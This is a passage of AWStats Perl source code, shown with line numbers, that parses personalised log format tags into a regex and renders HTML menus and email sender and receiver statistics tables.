                        { # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss],  time1b kept for backward compatibility
8758
 
                                $pos_date = $i;
8759
 
                                $i++;
8760
 
                                push @fieldlib, 'date';
8761
 
                                $pos_tz = $i;
8762
 
                                $i++;
8763
 
                                push @fieldlib, 'tz';
8764
 
                                $PerlParsingFormat .=
8765
 
"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]";
8766
 
                        }
8767
 
                        elsif ( $f =~ /%time2$/ ) {    # yyyy-mm-dd hh:mm:ss
8768
 
                                $pos_date = $i;
8769
 
                                $i++;
8770
 
                                push @fieldlib, 'date';
8771
 
                                $PerlParsingFormat .=
8772
 
"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"
8773
 
                                  ;                        # Need \s for Exchange log files
8774
 
                        }
8775
 
                        elsif ( $f =~ /%time3$/ )
8776
 
                        { # mon d hh:mm:ss  or  mon  d hh:mm:ss  or  mon dd hh:mm:ss yyyy  or  day mon dd hh:mm:ss  or  day mon dd hh:mm:ss yyyy
8777
 
                                $pos_date = $i;
8778
 
                                $i++;
8779
 
                                push @fieldlib, 'date';
8780
 
                                $PerlParsingFormat .=
8781
 
"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)";
8782
 
                        }
8783
 
                        elsif ( $f =~ /%time4$/ ) {    # ddddddddddddd
8784
 
                                $pos_date = $i;
8785
 
                                $i++;
8786
 
                                push @fieldlib, 'date';
8787
 
                                $PerlParsingFormat .= "(\\d+)";
8788
 
                        }
8789
 
 
8790
 
                        # Special for methodurl and methodurlnoprot
8791
 
                        elsif ( $f =~ /%methodurl$/ ) {
8792
 
                                $pos_method = $i;
8793
 
                                $i++;
8794
 
                                push @fieldlib, 'method';
8795
 
                                $pos_url = $i;
8796
 
                                $i++;
8797
 
                                push @fieldlib, 'url';
8798
 
                                $PerlParsingFormat .=
8799
 
 
8800
 
#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
8801
 
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\"";
8802
 
                        }
8803
 
                        elsif ( $f =~ /%methodurlnoprot$/ ) {
8804
 
                                $pos_method = $i;
8805
 
                                $i++;
8806
 
                                push @fieldlib, 'method';
8807
 
                                $pos_url = $i;
8808
 
                                $i++;
8809
 
                                push @fieldlib, 'url';
8810
 
                                $PerlParsingFormat .=
8811
 
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\"";
8812
 
                        }
8813
 
 
8814
 
                        # Common command tags
8815
 
                        elsif ( $f =~ /%virtualnamequot$/ ) {
8816
 
                                $pos_vh = $i;
8817
 
                                $i++;
8818
 
                                push @fieldlib, 'vhost';
8819
 
                                $PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\"";
8820
 
                        }
8821
 
                        elsif ( $f =~ /%virtualname$/ ) {
8822
 
                                $pos_vh = $i;
8823
 
                                $i++;
8824
 
                                push @fieldlib, 'vhost';
8825
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8826
 
                        }
8827
 
                        elsif ( $f =~ /%host_r$/ ) {
8828
 
                                $pos_hostr = $i;
8829
 
                                $i++;
8830
 
                                push @fieldlib, 'hostr';
8831
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8832
 
                        }
8833
 
                        elsif ( $f =~ /%host$/ ) {
8834
 
                                $pos_host = $i;
8835
 
                                $i++;
8836
 
                                push @fieldlib, 'host';
8837
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8838
 
                        }
8839
 
                        elsif ( $f =~ /%host_proxy$/ )
8840
 
                        {    # if host_proxy tag used, host tag must not be used
8841
 
                                $pos_host = $i;
8842
 
                                $i++;
8843
 
                                push @fieldlib, 'host';
8844
 
                                $PerlParsingFormat .= "(.+?)(?:, .*)*";
8845
 
                        }
8846
 
                        elsif ( $f =~ /%method$/ ) {
8847
 
                                $pos_method = $i;
8848
 
                                $i++;
8849
 
                                push @fieldlib, 'method';
8850
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8851
 
                        }
8852
 
                        elsif ( $f =~ /%url$/ ) {
8853
 
                                $pos_url = $i;
8854
 
                                $i++;
8855
 
                                push @fieldlib, 'url';
8856
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8857
 
                        }
8858
 
                        elsif ( $f =~ /%query$/ ) {
8859
 
                                $pos_query = $i;
8860
 
                                $i++;
8861
 
                                push @fieldlib, 'query';
8862
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8863
 
                        }
8864
 
                        elsif ( $f =~ /%code$/ ) {
8865
 
                                $pos_code = $i;
8866
 
                                $i++;
8867
 
                                push @fieldlib, 'code';
8868
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8869
 
                        }
8870
 
                        elsif ( $f =~ /%bytesd$/ ) {
8871
 
                                $pos_size = $i;
8872
 
                                $i++;
8873
 
                                push @fieldlib, 'size';
8874
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8875
 
                        }
8876
 
                        elsif ( $f =~ /%refererquot$/ ) {
8877
 
                                $pos_referer = $i;
8878
 
                                $i++;
8879
 
                                push @fieldlib, 'referer';
8880
 
                                $PerlParsingFormat .=
8881
 
                                  "\\\"([^\\\"]*)\\\"";    # referer might be ""
8882
 
                        }
8883
 
                        elsif ( $f =~ /%referer$/ ) {
8884
 
                                $pos_referer = $i;
8885
 
                                $i++;
8886
 
                                push @fieldlib, 'referer';
8887
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8888
 
                        }
8889
 
                        elsif ( $f =~ /%uaquot$/ ) {
8890
 
                                $pos_agent = $i;
8891
 
                                $i++;
8892
 
                                push @fieldlib, 'ua';
8893
 
                                $PerlParsingFormat .= "\\\"([^\\\"]*)\\\"";    # ua might be ""
8894
 
                        }
8895
 
                        elsif ( $f =~ /%uabracket$/ ) {
8896
 
                                $pos_agent = $i;
8897
 
                                $i++;
8898
 
                                push @fieldlib, 'ua';
8899
 
                                $PerlParsingFormat .= "\\\[([^\\\]]*)\\\]";    # ua might be []
8900
 
                        }
8901
 
                        elsif ( $f =~ /%ua$/ ) {
8902
 
                                $pos_agent = $i;
8903
 
                                $i++;
8904
 
                                push @fieldlib, 'ua';
8905
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8906
 
                        }
8907
 
                        elsif ( $f =~ /%gzipin$/ ) {
8908
 
                                $pos_gzipin = $i;
8909
 
                                $i++;
8910
 
                                push @fieldlib, 'gzipin';
8911
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8912
 
                        }
8913
 
                        elsif ( $f =~ /%gzipout/ )
8914
 
                        { # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields
8915
 
                                $pos_gzipout = $i;
8916
 
                                $i++;
8917
 
                                push @fieldlib, 'gzipout';
8918
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8919
 
                        }
8920
 
                        elsif ( $f =~ /%gzipratio/ )
8921
 
                        { # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields
8922
 
                                $pos_compratio = $i;
8923
 
                                $i++;
8924
 
                                push @fieldlib, 'gzipratio';
8925
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8926
 
                        }
8927
 
                        elsif ( $f =~ /%deflateratio/ )
8928
 
                        { # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields
8929
 
                                $pos_compratio = $i;
8930
 
                                $i++;
8931
 
                                push @fieldlib, 'deflateratio';
8932
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8933
 
                        }
8934
 
                        elsif ( $f =~ /%email_r$/ ) {
8935
 
                                $pos_emailr = $i;
8936
 
                                $i++;
8937
 
                                push @fieldlib, 'email_r';
8938
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8939
 
                        }
8940
 
                        elsif ( $f =~ /%email$/ ) {
8941
 
                                $pos_emails = $i;
8942
 
                                $i++;
8943
 
                                push @fieldlib, 'email';
8944
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8945
 
                        }
8946
 
                        elsif ( $f =~ /%cluster$/ ) {
8947
 
                                $pos_cluster = $i;
8948
 
                                $i++;
8949
 
                                push @fieldlib, 'clusternb';
8950
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8951
 
                        }
8952
 
                        elsif ( $f =~ /%timetaken$/ ) {
8953
 
                                $pos_timetaken = $i;
8954
 
                                $i++;
8955
 
                                push @fieldlib, 'timetaken';
8956
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8957
 
                        }
8958
 
 
8959
 
# Special for protocolmms, used for method if method not already found (for MMS)
8960
 
                        elsif ( $f =~ /%protocolmms$/ ) {
8961
 
                                if ( $pos_method < 0 ) {
8962
 
                                        $pos_method = $i;
8963
 
                                        $i++;
8964
 
                                        push @fieldlib, 'method';
8965
 
                                        $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8966
 
                                }
8967
 
                        }
8968
 
 
8969
 
   # Special for codemms, used for code only if code not already found (for MMS)
8970
 
                        elsif ( $f =~ /%codemms$/ ) {
8971
 
                                if ( $pos_code < 0 ) {
8972
 
                                        $pos_code = $i;
8973
 
                                        $i++;
8974
 
                                        push @fieldlib, 'code';
8975
 
                                        $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8976
 
                                }
8977
 
                        }
8978
 
 
8979
 
                        # Extra tag
8980
 
                        elsif ( $f =~ /%extra(\d+)$/ ) {
8981
 
                                $pos_extra[$1] = $i;
8982
 
                                $i++;
8983
 
                                push @fieldlib, "extra$1";
8984
 
                                $PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8985
 
                        }
8986
 
 
8987
 
                        # Other tag
8988
 
                        elsif ( $f =~ /%other$/ ) {
8989
 
                                $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
8990
 
                        }
8991
 
                        elsif ( $f =~ /%otherquot$/ ) {
8992
 
                                $PerlParsingFormat .= "\\\"[^\\\"]*\\\"";
8993
 
                        }
8994
 
 
8995
 
                        # Unknown tag (no parenthesis)
8996
 
                        else {
8997
 
                                $PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
8998
 
                        }
8999
 
                }
9000
 
                if ( !$PerlParsingFormat ) {
9001
 
                        error("No recognized format tag in personalized LogFormat string");
9002
 
                }
9003
 
        }
9004
 
        if ( $pos_host < 0 ) {
9005
 
                error(
9006
 
"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
9007
 
                );
9008
 
        }
9009
 
        if ( $pos_date < 0 ) {
9010
 
                error(
9011
 
"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
9012
 
                );
9013
 
        }
9014
 
        if ( $pos_method < 0 ) {
9015
 
                error(
9016
 
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
9017
 
                );
9018
 
        }
9019
 
        if ( $pos_url < 0 ) {
9020
 
                error(
9021
 
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
9022
 
                );
9023
 
        }
9024
 
        if ( $pos_code < 0 ) {
9025
 
                error(
9026
 
"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
9027
 
                );
9028
 
        }
9029
 
        if ( $pos_size < 0 ) {
9030
 
                error(
9031
 
"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
9032
 
                );
9033
 
        }
9034
 
        $PerlParsingFormat = qr/^$PerlParsingFormat/;
9035
 
        if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); }
9036
 
}
9037
 
 
9038
 
sub ShowMenuCateg {
9039
 
        my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
9040
 
                $NewLinkParams, $NewLinkTarget )
9041
 
          = ( shift, shift, shift, shift, shift, shift, shift, shift );
9042
 
        $categicon = '';    # Comment this to enabme category icons
9043
 
        my ( $menu, $menulink, $menutext ) = ( shift, shift, shift );
9044
 
        my $linetitle = 0;
9045
 
 
9046
 
        # Call to plugins' function AddHTMLMenuLink
9047
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) {
9048
 
 
9049
 
# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
9050
 
# eval("$function");
9051
 
                my $function = "AddHTMLMenuLink_$pluginname";
9052
 
                &$function( $categ, $menu, $menulink, $menutext );
9053
 
        }
9054
 
        foreach my $key (%$menu) {
9055
 
                if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; }
9056
 
        }
9057
 
        if ( !$linetitle ) { return; }
9058
 
 
9059
 
# At least one entry in menu for this category, we can show category and entries
9060
 
        my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
9061
 
        print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\""
9062
 
          . ( $frame ? "" : " valign=\"top\"" ) . ">"
9063
 
          . ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" />&nbsp;" : "" )
9064
 
          . "<b>$categtext:</b></td>\n";
9065
 
        print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
9066
 
        foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) {
9067
 
                if ( $menu->{$key} == 0 )     { next; }
9068
 
                if ( $menulink->{$key} == 1 ) {
9069
 
                        print( $frame? "<tr><td class=\"awsm\">" : "" );
9070
 
                        print
9071
 
                          "<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>";
9072
 
                        print( $frame? "</td></tr>\n" : " &nbsp; " );
9073
 
                }
9074
 
                if ( $menulink->{$key} == 2 ) {
9075
 
                        print( $frame
9076
 
                                ? "<tr><td class=\"awsm\"> &nbsp; <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
9077
 
                                : ""
9078
 
                        );
9079
 
                        print "<a href=\""
9080
 
                          . (
9081
 
                                $ENV{'GATEWAY_INTERFACE'}
9082
 
                                  || !$StaticLinks
9083
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=$key")
9084
 
                                : "$PROG$StaticLinks.$key.$StaticExt"
9085
 
                          )
9086
 
                          . "\"$NewLinkTarget>$menutext->{$key}</a>\n";
9087
 
                        print( $frame? "</td></tr>\n" : " &nbsp; " );
9088
 
                }
9089
 
        }
9090
 
        print( $frame? "" : "</td></tr>\n" );
9091
 
}
9092
 
 
9093
 
sub ShowEmailSendersChart {
9094
 
        my $NewLinkParams         = shift;
9095
 
        my $NewLinkTarget         = shift;
9096
 
        my $MaxLengthOfShownEMail = 48;
9097
 
 
9098
 
        my $total_p;
9099
 
        my $total_h;
9100
 
        my $total_k;
9101
 
        my $max_p;
9102
 
        my $max_h;
9103
 
        my $max_k;
9104
 
        my $rest_p;
9105
 
        my $rest_h;
9106
 
        my $rest_k;
9107
 
 
9108
 
        # Show filter form
9109
 
        #&ShowFormFilter("emailsfilter",$EmailsFilter);
9110
 
        # Show emails list
9111
 
 
9112
 
        print "$Center<a name=\"emailsenders\">&nbsp;</a><br />\n";
9113
 
        my $title;
9114
 
        if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
9115
 
                $title = "$Message[131]";
9116
 
        }
9117
 
        else {
9118
 
                $title =
9119
 
"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\""
9120
 
                  . (
9121
 
                        $ENV{'GATEWAY_INTERFACE'}
9122
 
                          || !$StaticLinks
9123
 
                        ? XMLEncode("$AWScript?${NewLinkParams}output=allemails")
9124
 
                        : "$PROG$StaticLinks.allemails.$StaticExt"
9125
 
                  )
9126
 
                  . "\"$NewLinkTarget>$Message[80]</a>";
9127
 
                if ( $ShowEMailSenders =~ /L/i ) {
9128
 
                        $title .= " &nbsp; - &nbsp; <a href=\""
9129
 
                          . (
9130
 
                                $ENV{'GATEWAY_INTERFACE'}
9131
 
                                  || !$StaticLinks
9132
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=lastemails")
9133
 
                                : "$PROG$StaticLinks.lastemails.$StaticExt"
9134
 
                          )
9135
 
                          . "\"$NewLinkTarget>$Message[9]</a>";
9136
 
                }
9137
 
        }
9138
 
        &tab_head( "$title", 19, 0, 'emailsenders' );
9139
 
        print
9140
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : "
9141
 
          . ( scalar keys %_emails_h ) . "</th>";
9142
 
        if ( $ShowEMailSenders =~ /H/i ) {
9143
 
                print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9144
 
                  . Tooltip(4)
9145
 
                  . ">$Message[57]</th>";
9146
 
        }
9147
 
        if ( $ShowEMailSenders =~ /B/i ) {
9148
 
                print
9149
 
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9150
 
                  . Tooltip(5)
9151
 
                  . ">$Message[75]</th>";
9152
 
        }
9153
 
        if ( $ShowEMailSenders =~ /M/i ) {
9154
 
                print
9155
 
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9156
 
        }
9157
 
        if ( $ShowEMailSenders =~ /L/i ) {
9158
 
                print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9159
 
        }
9160
 
        print "</tr>\n";
9161
 
        print
9162
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
9163
 
        $total_p = $total_h = $total_k = 0;
9164
 
        $max_h = 1;
9165
 
        foreach ( values %_emails_h ) {
9166
 
                if ( $_ > $max_h ) { $max_h = $_; }
9167
 
        }
9168
 
        $max_k = 1;
9169
 
        foreach ( values %_emails_k ) {
9170
 
                if ( $_ > $max_k ) { $max_k = $_; }
9171
 
        }
9172
 
        my $count = 0;
9173
 
        if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) {
9174
 
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
9175
 
                        \%_emails_h );
9176
 
        }
9177
 
        if ( $HTMLOutput{'allemails'} ) {
9178
 
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9179
 
                        \%_emails_h );
9180
 
        }
9181
 
        if ( $HTMLOutput{'lastemails'} ) {
9182
 
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9183
 
                        \%_emails_l );
9184
 
        }
9185
 
        foreach my $key (@keylist) {
9186
 
                my $newkey = $key;
9187
 
                if ( length($key) > $MaxLengthOfShownEMail ) {
9188
 
                        $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9189
 
                }
9190
 
                my $bredde_h = 0;
9191
 
                my $bredde_k = 0;
9192
 
                if ( $max_h > 0 ) {
9193
 
                        $bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1;
9194
 
                }
9195
 
                if ( $max_k > 0 ) {
9196
 
                        $bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1;
9197
 
                }
9198
 
                print "<tr>";
9199
 
                my $direction = IsLocalEMail($key);
9200
 
 
9201
 
                if ( $direction > 0 ) {
9202
 
                        print "<td class=\"aws\">$newkey</td><td>-&gt;</td><td>&nbsp;</td>";
9203
 
                }
9204
 
                if ( $direction == 0 ) {
9205
 
                        print
9206
 
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9207
 
                }
9208
 
                if ( $direction < 0 ) {
9209
 
                        print "<td class=\"aws\">&nbsp;</td><td>&lt;-</td><td>$newkey</td>";
9210
 
                }
9211
 
                if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; }
9212
 
                if ( $ShowEMailSenders =~ /B/i ) {
9213
 
                        print "<td nowrap=\"nowrap\">"
9214
 
                          . Format_Bytes( $_emails_k{$key} ) . "</td>";
9215
 
                }
9216
 
                if ( $ShowEMailSenders =~ /M/i ) {
9217
 
                        print "<td nowrap=\"nowrap\">"
9218
 
                          . Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) )
9219
 
                          . "</td>";
9220
 
                }
9221
 
                if ( $ShowEMailSenders =~ /L/i ) {
9222
 
                        print "<td nowrap=\"nowrap\">"
9223
 
                          . ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' )
9224
 
                          . "</td>";
9225
 
                }
9226
 
                print "</tr>\n";
9227
 
 
9228
 
                #$total_p += $_emails_p{$key};
9229
 
                $total_h += $_emails_h{$key};
9230
 
                $total_k += $_emails_k{$key};
9231
 
                $count++;
9232
 
        }
9233
 
        $rest_p = 0;                        # $rest_p=$TotalPages-$total_p;
9234
 
        $rest_h = $TotalHits - $total_h;
9235
 
        $rest_k = $TotalBytes - $total_k;
9236
 
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails
9237
 
                print
9238
 
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9239
 
                if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; }
9240
 
                if ( $ShowEMailSenders =~ /B/i ) {
9241
 
                        print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9242
 
                }
9243
 
                if ( $ShowEMailSenders =~ /M/i ) {
9244
 
                        print "<td nowrap=\"nowrap\">"
9245
 
                          . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9246
 
                }
9247
 
                if ( $ShowEMailSenders =~ /L/i ) { print "<td>&nbsp;</td>"; }
9248
 
                print "</tr>\n";
9249
 
        }
9250
 
        &tab_end();
9251
 
}
9252
 
 
9253
 
sub ShowEmailReceiversChart {
9254
 
        my $NewLinkParams         = shift;
9255
 
        my $NewLinkTarget         = shift;
9256
 
        my $MaxLengthOfShownEMail = 48;
9257
 
 
9258
 
        my $total_p;
9259
 
        my $total_h;
9260
 
        my $total_k;
9261
 
        my $max_p;
9262
 
        my $max_h;
9263
 
        my $max_k;
9264
 
        my $rest_p;
9265
 
        my $rest_h;
9266
 
        my $rest_k;
9267
 
 
9268
 
        # Show filter form
9269
 
        #&ShowFormFilter("emailrfilter",$EmailrFilter);
9270
 
        # Show emails list
9271
 
 
9272
 
        print "$Center<a name=\"emailreceivers\">&nbsp;</a><br />\n";
9273
 
        my $title;
9274
 
        if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
9275
 
                $title = "$Message[132]";
9276
 
        }
9277
 
        else {
9278
 
                $title =
9279
 
"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) &nbsp; - &nbsp; <a href=\""
9280
 
                  . (
9281
 
                        $ENV{'GATEWAY_INTERFACE'}
9282
 
                          || !$StaticLinks
9283
 
                        ? XMLEncode("$AWScript?${NewLinkParams}output=allemailr")
9284
 
                        : "$PROG$StaticLinks.allemailr.$StaticExt"
9285
 
                  )
9286
 
                  . "\"$NewLinkTarget>$Message[80]</a>";
9287
 
                if ( $ShowEMailReceivers =~ /L/i ) {
9288
 
                        $title .= " &nbsp; - &nbsp; <a href=\""
9289
 
                          . (
9290
 
                                $ENV{'GATEWAY_INTERFACE'}
9291
 
                                  || !$StaticLinks
9292
 
                                ? XMLEncode("$AWScript?${NewLinkParams}output=lastemailr")
9293
 
                                : "$PROG$StaticLinks.lastemailr.$StaticExt"
9294
 
                          )
9295
 
                          . "\"$NewLinkTarget>$Message[9]</a>";
9296
 
                }
9297
 
        }
9298
 
        &tab_head( "$title", 19, 0, 'emailreceivers' );
9299
 
        print
9300
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : "
9301
 
          . ( scalar keys %_emailr_h ) . "</th>";
9302
 
        if ( $ShowEMailReceivers =~ /H/i ) {
9303
 
                print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9304
 
                  . Tooltip(4)
9305
 
                  . ">$Message[57]</th>";
9306
 
        }
9307
 
        if ( $ShowEMailReceivers =~ /B/i ) {
9308
 
                print
9309
 
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9310
 
                  . Tooltip(5)
9311
 
                  . ">$Message[75]</th>";
9312
 
        }
9313
 
        if ( $ShowEMailReceivers =~ /M/i ) {
9314
 
                print
9315
 
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9316
 
        }
9317
 
        if ( $ShowEMailReceivers =~ /L/i ) {
9318
 
                print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9319
 
        }
9320
 
        print "</tr>\n";
9321
 
        print
9322
 
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th>&nbsp;</th><th width=\"30%\">External</th></tr>";
9323
 
        $total_p = $total_h = $total_k = 0;
9324
 
        $max_h = 1;
9325
 
        foreach ( values %_emailr_h ) {
9326
 
                if ( $_ > $max_h ) { $max_h = $_; }
9327
 
        }
9328
 
        $max_k = 1;
9329
 
        foreach ( values %_emailr_k ) {
9330
 
                if ( $_ > $max_k ) { $max_k = $_; }
9331
 
        }
9332
 
        my $count = 0;
9333
 
        if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) {
9334
 
                &BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
9335
 
                        \%_emailr_h );
9336
 
        }
9337
 
        if ( $HTMLOutput{'allemailr'} ) {
9338
 
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9339
 
                        \%_emailr_h );
9340
 
        }
9341
 
        if ( $HTMLOutput{'lastemailr'} ) {
9342
 
                &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9343
 
                        \%_emailr_l );
9344
 
        }
9345
 
        foreach my $key (@keylist) {
9346
 
                my $newkey = $key;
9347
 
                if ( length($key) > $MaxLengthOfShownEMail ) {
9348
 
                        $newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9349
 
                }
9350
 
                my $bredde_h = 0;
9351
 
                my $bredde_k = 0;
9352
 
                if ( $max_h > 0 ) {
9353
 
                        $bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1;
9354
 
                }
9355
 
                if ( $max_k > 0 ) {
9356
 
                        $bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1;
9357
 
                }
9358
 
                print "<tr>";
9359
 
                my $direction = IsLocalEMail($key);
9360
 
 
9361
 
                if ( $direction > 0 ) {
9362
 
                        print "<td class=\"aws\">$newkey</td><td>&lt;-</td><td>&nbsp;</td>";
9363
 
                }
9364
 
                if ( $direction == 0 ) {
9365
 
                        print
9366
 
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9367
 
                }
9368
 
                if ( $direction < 0 ) {
9369
 
                        print "<td class=\"aws\">&nbsp;</td><td>-&gt;</td><td>$newkey</td>";
9370
 
                }
9371
 
                if ( $ShowEMailReceivers =~ /H/i ) {
9372
 
                        print "<td>$_emailr_h{$key}</td>";
9373
 
                }
9374
 
                if ( $ShowEMailReceivers =~ /B/i ) {
9375
 
                        print "<td nowrap=\"nowrap\">"
9376
 
                          . Format_Bytes( $_emailr_k{$key} ) . "</td>";
9377
 
                }
9378
 
                if ( $ShowEMailReceivers =~ /M/i ) {
9379
 
                        print "<td nowrap=\"nowrap\">"
9380
 
                          . Format_Bytes( $_emailr_k{$key} / ( $_emailr_h{$key} || 1 ) )
9381
 
                          . "</td>";
9382
 
                }
9383
 
                if ( $ShowEMailReceivers =~ /L/i ) {
9384
 
                        print "<td nowrap=\"nowrap\">"
9385
 
                          . ( $_emailr_l{$key} ? Format_Date( $_emailr_l{$key}, 1 ) : '-' )
9386
 
                          . "</td>";
9387
 
                }
9388
 
                print "</tr>\n";
9389
 
 
9390
 
                #$total_p += $_emailr_p{$key};
9391
 
                $total_h += $_emailr_h{$key};
9392
 
                $total_k += $_emailr_k{$key};
9393
 
                $count++;
9394
 
        }
9395
 
        $rest_p = 0;                        # $rest_p=$TotalPages-$total_p;
9396
 
        $rest_h = $TotalHits - $total_h;
9397
 
        $rest_k = $TotalBytes - $total_k;
9398
 
        if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
9399
 
        {                                   # All other receiver emails
9400
 
                print
9401
 
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9402
 
                if ( $ShowEMailReceivers =~ /H/i ) { print "<td>$rest_h</td>"; }
9403
 
                if ( $ShowEMailReceivers =~ /B/i ) {
9404
 
                        print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9405
 
                }
9406
 
                if ( $ShowEMailReceivers =~ /M/i ) {
9407
 
                        print "<td nowrap=\"nowrap\">"
9408
 
                          . Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9409
 
                }
9410
 
